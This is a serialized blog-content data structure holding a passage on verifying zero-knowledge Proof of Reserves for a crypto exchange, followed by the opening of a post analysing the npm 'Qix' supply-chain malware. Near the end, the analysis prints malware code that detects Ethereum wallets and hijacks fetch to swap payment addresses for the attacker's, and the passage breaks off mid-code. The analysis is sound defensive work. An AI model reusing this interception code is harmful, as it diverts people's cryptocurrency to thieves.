Proofs",{"type":24,"tag":151,"props":99791,"children":99792},{"id":12389},[99793],{"type":30,"value":99794},"Proving",{"type":24,"tag":33,"props":99796,"children":99797},{},[99798,99800,99806,99807,99813,99814,99820],{"type":30,"value":99799},"After proving all batch circuits and all recursive circuits, we have the final proof (which is the ZK proof of the recursive tree root), the entire Merkle tree, and the user nonces. In our code, it is serialized to ",{"type":24,"tag":156,"props":99801,"children":99803},{"className":99802},[],[99804],{"type":30,"value":99805},"merkle_tree.json",{"type":30,"value":962},{"type":24,"tag":156,"props":99808,"children":99810},{"className":99809},[],[99811],{"type":30,"value":99812},"final_proof.json",{"type":30,"value":9599},{"type":24,"tag":156,"props":99815,"children":99817},{"className":99816},[],[99818],{"type":30,"value":99819},"private_nonces.json",{"type":30,"value":99821}," files.",{"type":24,"tag":33,"props":99823,"children":99824},{},[99825],{"type":30,"value":99826},"Using the ZK proof and the Merkle tree, we can already prove the sum of the asset balances and their non-negativity; we refer to this as the \"global proof.\"",{"type":24,"tag":33,"props":99828,"children":99829},{},[99830,99832,99838,99840,99845],{"type":30,"value":99831},"For the user inclusion proofs, we get the Merkle tree, the user asset balances, the identification hash, and the nonce to bundle it in one proof file (",{"type":24,"tag":156,"props":99833,"children":99835},{"className":99834},[],[99836],{"type":30,"value":99837},"inclusion_proof_\u003Cid>.json",{"type":30,"value":99839},"). ",{"type":24,"tag":6032,"props":99841,"children":99842},{},[99843],{"type":30,"value":99844},"We bundle only a part of the Merkle tree to the inclusion proof file to make the proof smaller",{"type":30,"value":436},{"type":24,"tag":151,"props":99847,"children":99849},{"id":99848},"verifying",[99850],{"type":30,"value":99851},"Verifying",{"type":24,"tag":33,"props":99853,"children":99854},{},[99855],{"type":24,"tag":275,"props":99856,"children":99857},{},[99858],{"type":30,"value":99859},"Global Proof",{"type":24,"tag":33,"props":99861,"children":99862},{},[99863,99865,99870,99871,99876],{"type":30,"value":99864},"To verify the global proof, the code deserializes the ",{"type":24,"tag":156,"props":99866,"children":99868},{"className":99867},[],[99869],{"type":30,"value":99805},{"type":30,"value":40638},{"type":24,"tag":156,"props":99872,"children":99874},{"className":99873},[],[99875],{"type":30,"value":99812},{"type":30,"value":99877}," files and performs these checks:",{"type":24,"tag":478,"props":99879,"children":99880},{},[99881,99886,99891,99896,99922],{"type":24,"tag":100,"props":99882,"children":99883},{},[99884],{"type":30,"value":99885},"Validate if the final proof was generated with a valid and trusted circuit.",{"type":24,"tag":100,"props":99887,"children":99888},{},[99889],{"type":30,"value":99890},"Verify the ZK final proof.",{"type":24,"tag":100,"props":99892,"children":99893},{},[99894],{"type":30,"value":99895},"Verify if asset prices are valid. (It doesn't verify if it matches the real price; you need to do it manually. It only verifies if decimals are valid.)",{"type":24,"tag":100,"props":99897,"children":99898},{},[99899,99901,99907,99909,99914,99915,99920],{"type":30,"value":99900},"Verify if the Merkle tree root hash is the same as the final proof ",{"type":24,"tag":156,"props":99902,"children":99904},{"className":99903},[],[99905],{"type":30,"value":99906},"merkle_tree_hash",{"type":30,"value":99908}," public input. This ensures that the ",{"type":24,"tag":156,"props":99910,"children":99912},{"className":99911},[],[99913],{"type":30,"value":99805},{"type":30,"value":211},{"type":24,"tag":156,"props":99916,"children":99918},{"className":99917},[],[99919],{"type":30,"value":99812},{"type":30,"value":99921}," are linked (they belong to the same global proof).",{"type":24,"tag":100,"props":99923,"children":99924},{},[99925],{"type":30,"value":99926},"Verify the entire Merkle tree by hashing all the nodes again, starting with the batch circuit, since the verifier won't have the necessary information to hash the leaves again (for privacy). This ensures that the tree was not tampered with.",{"type":24,"tag":33,"props":99928,"children":99929},{},[99930],{"type":24,"tag":275,"props":99931,"children":99932},{},[99933],{"type":30,"value":99934},"Inclusion Proof",{"type":24,"tag":33,"props":99936,"children":99937},{},[99938,99940,99945,99947,99952],{"type":30,"value":99939},"To verify the inclusion proof, the code deserializes the ",{"type":24,"tag":156,"props":99941,"children":99943},{"className":99942},[],[99944],{"type":30,"value":99837},{"type":30,"value":99946}," file and also the ",{"type":24,"tag":156,"props":99948,"children":99950},{"className":99949},[],[99951],{"type":30,"value":99812},{"type":30,"value":99953},". After that, it performs these checks:",{"type":24,"tag":478,"props":99955,"children":99956},{},[99957,99961,99966,99971],{"type":24,"tag":100,"props":99958,"children":99959},{},[99960],{"type":30,"value":99890},{"type":24,"tag":100,"props":99962,"children":99963},{},[99964],{"type":30,"value":99965},"Verify if the Merkle tree root is the same as in the final proof.",{"type":24,"tag":100,"props":99967,"children":99968},{},[99969],{"type":30,"value":99970},"Recalculate the user-related node leaf hash.",{"type":24,"tag":100,"props":99972,"children":99973},{},[99974],{"type":30,"value":99975},"Verify a partial Merkle tree using the recalculated hash (it doesn't contain all the leaves).",{"type":24,"tag":68,"props":99977,"children":99979},{"id":99978},"por-verifier-server",[99980],{"type":30,"value":99981},"PoR Verifier Server",{"type":24,"tag":33,"props":99983,"children":99984},{},[99985,99987,99993],{"type":30,"value":99986},"To automate the verification process, we created a ",{"type":24,"tag":37,"props":99988,"children":99990},{"href":95623,"rel":99989},[41],[99991],{"type":30,"value":99992},"verifier server",{"type":30,"value":99994}," that the exchange can submit the proofs into. Once submitted, the proof is validated and added to the database.",{"type":24,"tag":33,"props":99996,"children":99997},{},[99998],{"type":30,"value":99999},"Once the proof was added, any user can enter the website and see its information (see backpack's example):",{"type":24,"tag":33,"props":100001,"children":100002},{},[100003],{"type":24,"tag":140,"props":100004,"children":100006},{"alt":142,"src":100005},"/posts/por/backpack-por.png",[],{"type":24,"tag":33,"props":100008,"children":100009},{},[100010],{"type":30,"value":100011},"Here is a breakdown of what fields represent and why they are required:",{"type":24,"tag":96,"props":100013,"children":100014},{},[100015,100025,100035,100045,100055,100065],{"type":24,"tag":100,"props":100016,"children":100017},{},[100018,100023],{"type":24,"tag":275,"props":100019,"children":100020},{},[100021],{"type":30,"value":100022},"Status",{"type":30,"value":100024}," --> verifies if the proof is valid, ensuring that the information has not been tampered with.",{"type":24,"tag":100,"props":100026,"children":100027},{},[100028,100033],{"type":24,"tag":275,"props":100029,"children":100030},{},[100031],{"type":30,"value":100032},"Proof Timestamp",{"type":30,"value":100034}," --> when the proof was generated by the exchange.",{"type":24,"tag":100,"props":100036,"children":100037},{},[100038,100043],{"type":24,"tag":275,"props":100039,"children":100040},{},[100041],{"type":30,"value":100042},"Verify Timestamp",{"type":30,"value":100044}," --> when the proof was verified by the PoR server.",{"type":24,"tag":100,"props":100046,"children":100047},{},[100048,100053],{"type":24,"tag":275,"props":100049,"children":100050},{},[100051],{"type":30,"value":100052},"Proof File URL",{"type":30,"value":100054}," --> the URL where the proof was downloaded from. Users can download it to verify the proof's validity themselves.",{"type":24,"tag":100,"props":100056,"children":100057},{},[100058,100063],{"type":24,"tag":275,"props":100059,"children":100060},{},[100061],{"type":30,"value":100062},"Prover Version",{"type":30,"value":100064}," --> the version of PoRv2 used. Using different versions for proving/verifying can result in errors due to ZK circuit discrepancies. Therefore, if you are going to verify the validity of the proof yourself, ensure that you download and use the same prover version as the proof.",{"type":24,"tag":100,"props":100066,"children":100067},{},[100068,100073],{"type":24,"tag":275,"props":100069,"children":100070},{},[100071],{"type":30,"value":100072},"File Hash (SHA256)",{"type":30,"value":100074}," --> since we only store the URL of the proof, it can be maliciously changed after our verification. SHA256 can be used to prove if the file was modified after the verification. If you are going to verify the proof by yourself, check if the downloaded zip file matches the hash shown on the website.",{"type":24,"tag":33,"props":100076,"children":100077},{},[100078],{"type":30,"value":100079},"Also, you can check the exchange's liabilities on the website:",{"type":24,"tag":33,"props":100081,"children":100082},{},[100083],{"type":24,"tag":140,"props":100084,"children":100086},{"alt":142,"src":100085},"/posts/por/backpack-por-liabilities.png",[],{"type":24,"tag":33,"props":100088,"children":100089},{},[100090,100092,100098,100100,100106],{"type":30,"value":100091},"These are the amount of assets that the exchange should have in their reserves to be solvent on each asset. You can match if they have it by checking their reserve wallets on blockchain. You can see backpack's wallets in ",{"type":24,"tag":37,"props":100093,"children":100096},{"href":100094,"rel":100095},"https://backpack.exchange/reserves",[41],[100097],{"type":30,"value":100094},{"type":30,"value":100099}," and our verifier server for backpack at ",{"type":24,"tag":37,"props":100101,"children":100104},{"href":100102,"rel":100103},"https://backpack-por.osec.io/",[41],[100105],{"type":30,"value":100102},{"type":30,"value":436},{"type":24,"tag":68,"props":100108,"children":100110},{"id":100109},"self-verification",[100111],{"type":30,"value":100112},"Self-verification",{"type":24,"tag":33,"props":100114,"children":100115},{},[100116],{"type":30,"value":100117},"You, as a user, can verify both proofs by yourself, the inclusion proof to verify if you were included in the PoR total liabilities sum and the global proof to verify if the commitments provided by the exchange are valid.",{"type":24,"tag":151,"props":100119,"children":100121},{"id":100120},"how-to-verify-if-i-was-included",[100122],{"type":30,"value":100123},"How to verify if I was included?",{"type":24,"tag":33,"props":100125,"children":100126},{},[100127],{"type":30,"value":100128},"If you are a user and want to do the self-verification of inclusion, you will need to follow these steps:",{"type":24,"tag":478,"props":100130,"children":100131},{},[100132,100143,100161],{"type":24,"tag":100,"props":100133,"children":100134},{},[100135,100142],{"type":24,"tag":37,"props":100136,"children":100139},{"href":100137,"rel":100138},"https://github.com/otter-sec/por_v2/releases",[41],[100140],{"type":30,"value":100141},"Download the PoRv2 executable from our github",{"type":30,"value":436},{"type":24,"tag":100,"props":100144,"children":100145},{},[100146,100148,100153,100154,100159],{"type":30,"value":100147},"Download the inclusion and the final proof files from the exchange (",{"type":24,"tag":156,"props":100149,"children":100151},{"className":100150},[],[100152],{"type":30,"value":99837},{"type":30,"value":211},{"type":24,"tag":156,"props":100155,"children":100157},{"className":100156},[],[100158],{"type":30,"value":99812},{"type":30,"value":100160},") and put the files in the same directory as the PoRv2 app.",{"type":24,"tag":100,"props":100162,"children":100163},{},[100164,100166,100172],{"type":30,"value":100165},"Open the terminal and execute this: ",{"type":24,"tag":156,"props":100167,"children":100169},{"className":100168},[],[100170],{"type":30,"value":100171},"./plonky2_por verify-inclusion",{"type":30,"value":436},{"type":24,"tag":33,"props":100174,"children":100175},{},[100176],{"type":30,"value":100177},"This will verify if the proofs are valid and show your asset balances. You will need to verify manually that the balances are correct. Remember that the proofs are not calculated in real-time; you must verify if the balances were correct at the proof generation date. Here is an example of a valid proof being verified:",{"type":24,"tag":920,"props":100179,"children":100181},{"code":100180},"[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Some asset balances was rounded by some decimals, verify if they are close enough to the original balance\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset balances-----\nETH: 0\nBTC: 1.2\nUSDC: 0\n...\n======================\n[!] Verifying global proof (trusting circuit data inside the file)...\n[+] Global proof is valid!\n[!] Verifying inclusion proof...\n[+] Inclusion proof root hash is valid! The user is included in the merkle tree!\n[+] Successfully verified inclusion proof for file: inclusion_proof_00476816e43cf2efffdabdda7f55c5203bc9e28382c551f83931de02fd364a25.json\n\n[+] All inclusion proofs are valid!\n[+] Finished in 13.731875ms!\n",[100182],{"type":24,"tag":156,"props":100183,"children":100184},{"__ignoreMap":7},[100185],{"type":30,"value":100180},{"type":24,"tag":151,"props":100187,"children":100189},{"id":100188},"how-can-i-verify-the-global-proof",[100190],{"type":30,"value":100191},"How can I verify the global proof?",{"type":24,"tag":33,"props":100193,"children":100194},{},[100195],{"type":30,"value":100196},"If you want to verify if the global proof is valid, you just need to follow these steps:",{"type":24,"tag":478,"props":100198,"children":100199},{},[100200,100209,100227],{"type":24,"tag":100,"props":100201,"children":100202},{},[100203,100208],{"type":24,"tag":37,"props":100204,"children":100206},{"href":100137,"rel":100205},[41],[100207],{"type":30,"value":100141},{"type":30,"value":436},{"type":24,"tag":100,"props":100210,"children":100211},{},[100212,100214,100219,100220,100225],{"type":30,"value":100213},"Download the ",{"type":24,"tag":156,"props":100215,"children":100217},{"className":100216},[],[100218],{"type":30,"value":99805},{"type":30,"value":40638},{"type":24,"tag":156,"props":100221,"children":100223},{"className":100222},[],[100224],{"type":30,"value":99812},{"type":30,"value":100226}," files and put them in the same directory as the PoRv2 app. You can download those files from our PoR verifier server (download the zip file and unzip it).",{"type":24,"tag":100,"props":100228,"children":100229},{},[100230,100232,100237],{"type":30,"value":100231},"Open the terminal and execute ",{"type":24,"tag":156,"props":100233,"children":100235},{"className":100234},[],[100236],{"type":30,"value":100171},{"type":30,"value":100238},". This might take a while to verify since it needs to deserialize a big file and verify the final proof circuit (which involves rebuilding it).",{"type":24,"tag":33,"props":100240,"children":100241},{},[100242],{"type":30,"value":100243},"This will verify the global proof and print the asset prices to be manually verified. Note that the asset prices shown are not real-time; you must match them to the price on the proof generation date and time.",{"type":24,"tag":920,"props":100245,"children":100247},{"code":100246},"[!] Verifying the proof of reserves...\n[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Asset prices was rounded by some decimals, verify if they are close enough to the original price\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset prices-----\nBTC: US$ 95000\nETH: US$ 2402.48\n...\n======================\n",[100248],{"type":24,"tag":156,"props":100249,"children":100250},{"__ignoreMap":7},[100251],{"type":30,"value":100246},{"type":24,"tag":33,"props":100253,"children":100254},{},[100255],{"type":30,"value":100256},"When verification is completed, and all proofs are valid, the system will print the summed balances of each asset. These are the liabilities of the exchange, which you can use to check if they have reserves to cover it.",{"type":24,"tag":920,"props":100258,"children":100260},{"code":100259},"[!] Rebuilding root circuit... This might take several minutes...\n[+] Root circuit rebuilt successfully!\n[!] Verifying final proof...\n[+] Proof is valid!\n[!] Verifying asset prices...\n[+] Asset prices are valid!\n[!] Verifying asset decimals...\n[+] Asset decimals are valid!\n[!] Verifying merkle tree root hash...\n[+] Merkle tree root hash is valid!\n[!] Verifying merkle tree...\n[+] Merkle tree is valid!\n\n[!] The following information is the final needed asset reserves, which was validated by the Zero-Knowledge proof\n[!] NOTE: This is not real-time information, the information is relative to the time of the proof generation\n[!] NOTE2: We cannot guarantee that all users were included in the proof, but you can check if you were included by verifying the inclusion proof\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset reserves-----\nBTC: 1.2\nETH: 5.4\n...\n======================\n\n[+] All proofs are valid!\n[+] Finished in 4.455745214s!\n",[100261],{"type":24,"tag":156,"props":100262,"children":100263},{"__ignoreMap":7},[100264],{"type":30,"value":100259},{"type":24,"tag":68,"props":100266,"children":100267},{"id":5876},[100268],{"type":30,"value":5879},{"type":24,"tag":33,"props":100270,"children":100271},{},[100272],{"type":30,"value":100273},"In conclusion, Proof of Reserves serves as a crucial mechanism for crypto platforms, enabling them to demonstrate solvency and gain user trust in a transparent manner. By employing zero-knowledge proofs, platforms can achieve this transparency without exposing sensitive user data, effectively proving total liabilities and ensuring non-negativity while preserving privacy. Our system further refines this process, boosting efficiency and eliminating the need for manual verification.",{"type":24,"tag":33,"props":100275,"children":100276},{},[100277,100279,100285],{"type":30,"value":100278},"We are currently working with Backpack to implement this algorithm ",{"type":24,"tag":37,"props":100280,"children":100282},{"href":100094,"rel":100281},[41],[100283],{"type":30,"value":100284},"in production",{"type":30,"value":100286}," to generate and verify proofs every 24 hours. This marks a significant advancement toward establishing a real-time Proof of Reserves system, particularly given that it offers increased transparency, which is a step forward in reducing the need for external audit companies, as users will be able to verify everything themselves.",{"type":24,"tag":33,"props":100288,"children":100289},{},[100290,100292,100299],{"type":30,"value":100291},"For more information about how Backpack Exchange implements Proof of Reserves in practice, you can read their detailed article: ",{"type":24,"tag":37,"props":100293,"children":100296},{"href":100294,"rel":100295},"https://learn.backpack.exchange/articles/proof-of-reserves-at-backpack",[41],[100297],{"type":30,"value":100298},"Proof of Reserves at Backpack Exchange: Real Transparency, ZK Verified",{"type":30,"value":436},{"title":7,"searchDepth":984,"depth":984,"links":100301},[100302,100303,100304,100305,100308,100313,100317,100318,100322],{"id":95551,"depth":984,"text":95554},{"id":95632,"depth":984,"text":95635},{"id":95702,"depth":984,"text":95705},{"id":95756,"depth":984,"text":95759,"children":100306},[100307],{"id":95835,"depth":993,"text":95838},{"id":95923,"depth":984,"text":95926,"children":100309},[100310,100311,100312],{"id":95996,"depth":993,"text":95999},{"id":96468,"depth":993,"text":96471},{"id":98207,"depth":993,"text":98210},{"id":99786,"depth":984,"text":99789,"children":100314},[100315,100316],{"id":12389,"depth":993,"text":99794},{"id":99848,"depth":993,"text":99851},{"id":99978,"depth":984,"text":99981},{"id":100109,"depth":984,"text":100112,"children":100319},[100320,100321],{"id":100120,"depth":993,"text":100123},{"id":100188,"depth":993,"text":100191},{"id":5876,"depth":984,"text":5879},"content:blog:2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds",{"_path":100327,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":100328,"description":100329,"date":100330,"author":34292,"image":100331,"isFeatured":16,"onBlogPage":16,"tags":100333,"body":100336,"_type":5983,"_id":102762,"_source":5985,"_file":102763,"_stem":102764,"_extension":5988},"/blog/2025-09-13-how-to-survive-supply-chain-attacks","How to Survive Supply-Chain Attacks","The recent supply-chain attack on NPM showed how easily trusted dependencies can become delivery vectors for malware. Learn how the attack worked and practical defenses developers can implement to stay safe.","2025-09-13T12:00:00.000Z",{"src":100332,"width":14,"height":15},"/posts/supply-chain-attcks/title.png",[100334,100335],"npm","supply-chain",{"type":21,"children":100337,"toc":102745},[100338,100351,100356,100361,100367,100372,100380,100710,100718,101281,101289,101996,102002,102007,102013,102018,102023,102029,102034,102046,102051,102077,102164,102176,102201,102217,102222,102227,102433,102475,102480,102492,102498,102510,102552,102565,102645,102657,102670,102677,102688,102696,102702,102715,102720,102724,102729,102741],{"type":24,"tag":33,"props":100339,"children":100340},{},[100341,100343,100349],{"type":30,"value":100342},"The recent supply-chain attack on NPM sent shockwaves through the developer community and served as a stark reminder of the risks lurking within our dependencies. Malicious versions of widely used packages, including ",{"type":24,"tag":156,"props":100344,"children":100346},{"className":100345},[],[100347],{"type":30,"value":100348},"chalk",{"type":30,"value":100350},", were published containing sophisticated malware designed to steal cryptocurrency.",{"type":24,"tag":33,"props":100352,"children":100353},{},[100354],{"type":30,"value":100355},"This attack highlights a fundamental vulnerability in the open-source ecosystem: any package you install gets the same permissions as your own code, giving it a free pass to important resources such as cookies and the network stack.",{"type":24,"tag":33,"props":100357,"children":100358},{},[100359],{"type":30,"value":100360},"In this post, we'll break down how the malware worked and outline practical defenses developers can use, including Lavamoat, a tool already adopted by leaders in the web3 ecosystem.",{"type":24,"tag":68,"props":100362,"children":100364},{"id":100363},"qix-malware-how-it-worked",[100365],{"type":30,"value":100366},"Qix Malware: How It Worked",{"type":24,"tag":33,"props":100368,"children":100369},{},[100370],{"type":30,"value":100371},"The attacker published modified versions of packages with code designed to do three things:",{"type":24,"tag":478,"props":100373,"children":100374},{},[100375],{"type":24,"tag":100,"props":100376,"children":100377},{},[100378],{"type":30,"value":100379},"Detect crypto wallets: The malware checked for Ethereum wallets like MetaMask.",{"type":24,"tag":920,"props":100381,"children":100383},{"code":100382,"language":34457,"meta":7,"className":34455,"style":7},"async function checkethereumw() {\n  try {\n    const _0x124ed3 = await window.ethereum.request({\n      'method': \"eth_accounts\"\n    });\n    if (_0x124ed3.length > 0) {\n      runmask();\n      if (rund != 1) {\n        rund = 1;\n        neth = 1;\n        newdlocal();\n      }\n    } else if (rund != 1) {\n      rund = 1;\n      newdlocal();\n    }\n  }\n}\n",[100384],{"type":24,"tag":156,"props":100385,"children":100386},{"__ignoreMap":7},[100387,100407,100419,100463,100480,100487,100523,100535,100563,100583,100603,100615,100622,100657,100677,100689,100696,100703],{"type":24,"tag":930,"props":100388,"children":100389},{"class":932,"line":933},[100390,100394,100398,100403],{"type":24,"tag":930,"props":100391,"children":100392},{"style":937},[100393],{"type":30,"value":39233},{"type":24,"tag":930,"props":100395,"children":100396},{"style":937},[100397],{"type":30,"value":41302},{"type":24,"tag":930,"props":100399,"children":100400},{"style":1002},[100401],{"type":30,"value":100402}," checkethereumw",{"type":24,"tag":930,"props":100404,"children":100405},{"style":959},[100406],{"type":30,"value":18839},{"type":24,"tag":930,"props":100408,"children":100409},{"class":932,"line":984},[100410,100415],{"type":24,"tag":930,"props":100411,"children":100412},{"style":1079},[100413],{"type":30,"value":100414},"  try",{"type":24,"tag":930,"props":100416,"children":100417},{"style":959},[100418],{"type":30,"value":981},{"type":24,"tag":930,"props":100420,"children":100421},{"class":932,"line":993},[100422,100426,100431,100435,100439,100443,100447,100451,100455,100459],{"type":24,"tag":930,"props":100423,"children":100424},{"style":937},[100425],{"type":30,"value":54757},{"type":24,"tag":930,"props":100427,"children":100428},{"style":1023},[100429],{"type":30,"value":100430}," _0x124ed3",{"type":24,"tag":930,"props":100432,"children":100433},{"style":1158},[100434],{"type":30,"value":6137},{"type":24,"tag":930,"props":100436,"children":100437},{"style":1079},[100438],{"type":30,"value":39299},{"type":24,"tag":930,"props":100440,"children":100441},{"style":1023},[100442],{"type":30,"value":34500},{"type":24,"tag":930,"props":100444,"children":100445},{"style":959},[100446],{"type":30,"value":436},{"type":24,"tag":930,"props":100448,"children":100449},{"style":1023},[100450],{"type":30,"value":34509},{"type":24,"tag":930,"props":100452,"children":100453},{"style":959},[100454],{"type":30,"value":436},{"type":24,"tag":930,"props":100456,"children":100457},{"style":1002},[100458],{"type":30,"value":34585},{"type":24,"tag":930,"props":100460,"children":100461},{"style":959},[100462],{"type":30,"value":18244},{"type":24,"tag":930,"props":100464,"children":100465},{"class":932,"line":1057},[100466,100471,100475],{"type":24,"tag":930,"props":100467,"children":100468},{"style":1270},[100469],{"type":30,"value":100470},"      'method'",{"type":24,"tag":930,"props":100472,"children":100473},{"style":1023},[100474],{"type":30,"value":476},{"type":24,"tag":930,"props":100476,"children":100477},{"style":1270},[100478],{"type":30,"value":100479}," \"eth_accounts\"\n",{"type":24,"tag":930,"props":100481,"children":100482},{"class":932,"line":1066},[100483],{"type":24,"tag":930,"props":100484,"children":100485},{"style":959},[100486],{"type":30,"value":35347},{"type":24,"tag":930,"props":100488,"children":100489},{"class":932,"line":1075},[100490,100494,100498,100503,100507,100511,100515,100519],{"type":24,"tag":930,"props":100491,"children":100492},{"style":1079},[100493],{"type":30,"value":15386},{"type":24,"tag":930,"props":100495,"children":100496},{"style":959},[100497],{"type":30,"value":1087},{"type":24,"tag":930,"props":100499,"children":100500},{"style":1023},[100501],{"type":30,"value":100502},"_0x124ed3",{"type":24,"tag":930,"props":100504,"children":100505},{"style":959},[100506],{"type":30,"value":436},{"type":24,"tag":930,"props":100508,"children":100509},{"style":1023},[100510],{"type":30,"value":11613},{"type":24,"tag":930,"props":100512,"children":100513},{"style":1158},[100514],{"type":30,"value":17300},{"type":24,"tag":930,"props":100516,"children":100517},{"style":1242},[100518],{"type":30,"value":1245},{"type":24,"tag":930,"props":100520,"children":100521},{"style":959},[100522],{"type":30,"value":1503},{"type":24,"tag":930,"props":100524,"children":100525},{"class":932,"line":1122},[100526,100531],{"type":24,"tag":930,"props":100527,"children":100528},{"style":1002},[100529],{"type":30,"value":100530},"      runmask",{"type":24,"tag":930,"props":100532,"children":100533},{"style":959},[100534],{"type":30,"value":1310},{"type":24,"tag":930,"props":100536,"children":100537},{"class":932,"line":1131},[100538,100542,100546,100551,100555,100559],{"type":24,"tag":930,"props":100539,"children":100540},{"style":1079},[100541],{"type":30,"value":42374},{"type":24,"tag":930,"props":100543,"children":100544},{"style":959},[100545],{"type":30,"value":1087},{"type":24,"tag":930,"props":100547,"children":100548},{"style":1023},[100549],{"type":30,"value":100550},"rund",{"type":24,"tag":930,"props":100552,"children":100553},{"style":1158},[100554],{"type":30,"value":67472},{"type":24,"tag":930,"props":100556,"children":100557},{"style":1242},[100558],{"type":30,"value":7637},{"type":24,"tag":930,"props":100560,"children":100561},{"style":959},[100562],{"type":30,"value":1503},{"type":24,"tag":930,"props":100564,"children":100565},{"class":932,"line":1144},[100566,100571,100575,100579],{"type":24,"tag":930,"props":100567,"children":100568},{"style":1023},[100569],{"type":30,"value":100570},"        rund",{"type":24,"tag":930,"props":100572,"children":100573},{"style":1158},[100574],{"type":30,"value":6137},{"type":24,"tag":930,"props":100576,"children":100577},{"style":1242},[100578],{"type":30,"value":7637},{"type":24,"tag":930,"props":100580,"children":100581},{"style":959},[100582],{"type":30,"value":5539},{"type":24,"tag":930,"props":100584,"children":100585},{"class":932,"line":1169},[100586,100591,100595,100599],{"type":24,"tag":930,"props":100587,"children":100588},{"style":1023},[100589],{"type":30,"value":100590},"        neth",{"type":24,"tag":930,"props":100592,"children":100593},{"style":1158},[100594],{"type":30,"value":6137},{"type":24,"tag":930,"props":100596,"children":100597},{"style":1242},[100598],{"type":30,"value":7637},{"type":24,"tag":930,"props":100600,"children":100601},{"style":959},[100602],{"type":30,"value":5539},{"type":24,"tag":930,"props":100604,"children":100605},{"class":932,"line":1191},[100606,100611],{"type":24,"tag":930,"props":100607,"children":100608},{"style":1002},[100609],{"type":30,"value":100610},"        newdlocal",{"type":24,"tag":930,"props":100612,"children":100613},{"style":959},[100614],{"type":30,"value":1310},{"type":24,"tag":930,"props":100616,"children":100617},{"class":932,"line":1223},[100618],{"type":24,"tag":930,"props":100619,"children":100620},{"style":959},[100621],{"type":30,"value":15771},{"type":24,"tag":930,"props":100623,"children":100624},{"class":932,"line":1281},[100625,100629,100633,100637,100641,100645,100649,100653],{"type":24,"tag":930,"props":100626,"children":100627},{"style":959},[100628],{"type":30,"value":18882},{"type":24,"tag":930,"props":100630,"children":100631},{"style":1079},[100632],{"type":30,"value":2317},{"type":24,"tag":930,"props":100634,"children":100635},{"style":1079},[100636],{"type":30,"value":2322},{"type":24,"tag":930,"props":100638,"children":100639},{"style":959},[100640],{"type":30,"value":1087},{"type":24,"tag":930,"props":100642,"children":100643},{"style":1023},[100644],{"type":30,"value":100550},{"type":24,"tag":930,"props":100646,"children":100647},{"style":1158},[100648],{"type":30,"value":67472},{"type":24,"tag":930,"props":100650,"children":100651},{"style":1242},[100652],{"type":30,"value":7637},{"type":24,"tag":930,"props":100654,"children":100655},{"style":959},[100656],{"type":30,"value":1503},{"type":24,"tag":930,"props":100658,"children":100659},{"class":932,"line":1313},[100660,100665,100669,100673],{"type":24,"tag":930,"props":100661,"children":100662},{"style":1023},[100663],{"type":30,"value":100664},"      rund",{"type":24,"tag":930,"props":100666,"children":100667},{"style":1158},[100668],{"type":30,"value":6137},{"type":24,"tag":930,"props":100670,"children":100671},{"style":1242},[100672],{"type":30,"value":7637},{"type":24,"tag":930,"props":100674,"children":100675},{"style":959},[100676],{"type":30,"value":5539},{"type":24,"tag":930,"props":100678,"children":100679},{"class":932,"line":1335},[100680,100685],{"type":24,"tag":930,"props":100681,"children":100682},{"style":1002},[100683],{"type":30,"value":100684},"      newdlocal",{"type":24,"tag":930,"props":100686,"children":100687},{"style":959},[100688],{"type":30,"value":1310},{"type":24,"tag":930,"props":100690,"children":100691},{"class":932,"line":1376},[100692],{"type":24,"tag":930,"props":100693,"children":100694},{"style":959},[100695],{"type":30,"value":1840},{"type":24,"tag":930,"props":100697,"children":100698},{"class":932,"line":1418},[100699],{"type":24,"tag":930,"props":100700,"children":100701},{"style":959},[100702],{"type":30,"value":8984},{"type":24,"tag":930,"props":100704,"children":100705},{"class":932,"line":1438},[100706],{"type":24,"tag":930,"props":100707,"children":100708},{"style":959},[100709],{"type":30,"value":2528},{"type":24,"tag":478,"props":100711,"children":100712},{"start":984},[100713],{"type":24,"tag":100,"props":100714,"children":100715},{},[100716],{"type":30,"value":100717},"Intercept HTTP requests/responses and replace blockchain addresses with the attacker's wallet: (modified code for better understanding)",{"type":24,"tag":920,"props":100719,"children":100721},{"code":100720,"language":34457,"meta":7,"className":34455,"style":7},"fetch = async function (...args) {\n  const originalResponse = await originalFetch.call(this, ...args);\n  const contentType = originalResponse.headers.get('Content-Type') || '';\n  let data;\n  if (contentType.includes('application/json')) {\n    data = await originalResponse.clone().json();\n  } else {\n    data = await originalResponse.clone().text();\n  }\n  const processedData = replaceAddresses(data);\n  const finalResponseText =\n    typeof processedData === 'string' ? processedData : JSON.stringify(processedData);\n  const finalResponse = new Response(finalResponseText, {\n    status: originalResponse.status,\n    statusText: originalResponse.statusText,\n    headers: originalResponse.headers,\n  });\n  return finalResponse;\n};\n",[100722],{"type":24,"tag":156,"props":100723,"children":100724},{"__ignoreMap":7},[100725,100760,100817,100879,100894,100931,100970,100985,101024,101031,101064,101080,101139,101177,101202,101227,101251,101259,101274],{"type":24,"tag":930,"props":100726,"children":100727},{"class":932,"line":933},[100728,100732,100736,100740,100744,100748,100752,100756],{"type":24,"tag":930,"props":100729,"children":100730},{"style":1002},[100731],{"type":30,"value":37183},{"type":24,"tag":930,"props":100733,"children":100734},{"style":1158},[100735],{"type":30,"value":6137},{"type":24,"tag":930,"props":100737,"children":100738},{"style":937},[100739],{"type":30,"value":39453},{"type":24,"tag":930,"props":100741,"children":100742},{"style":937},[100743],{"type":30,"value":41302},{"type":24,"tag":930,"props":100745,"children":100746},{"style":959},[100747],{"type":30,"value":1087},{"type":24,"tag":930,"props":100749,"children":100750},{"style":1158},[100751],{"type":30,"value":12699},{"type":24,"tag":930,"props":100753,"children":100754},{"style":1023},[100755],{"type":30,"value":41316},{"type":24,"tag":930,"props":100757,"children":100758},{"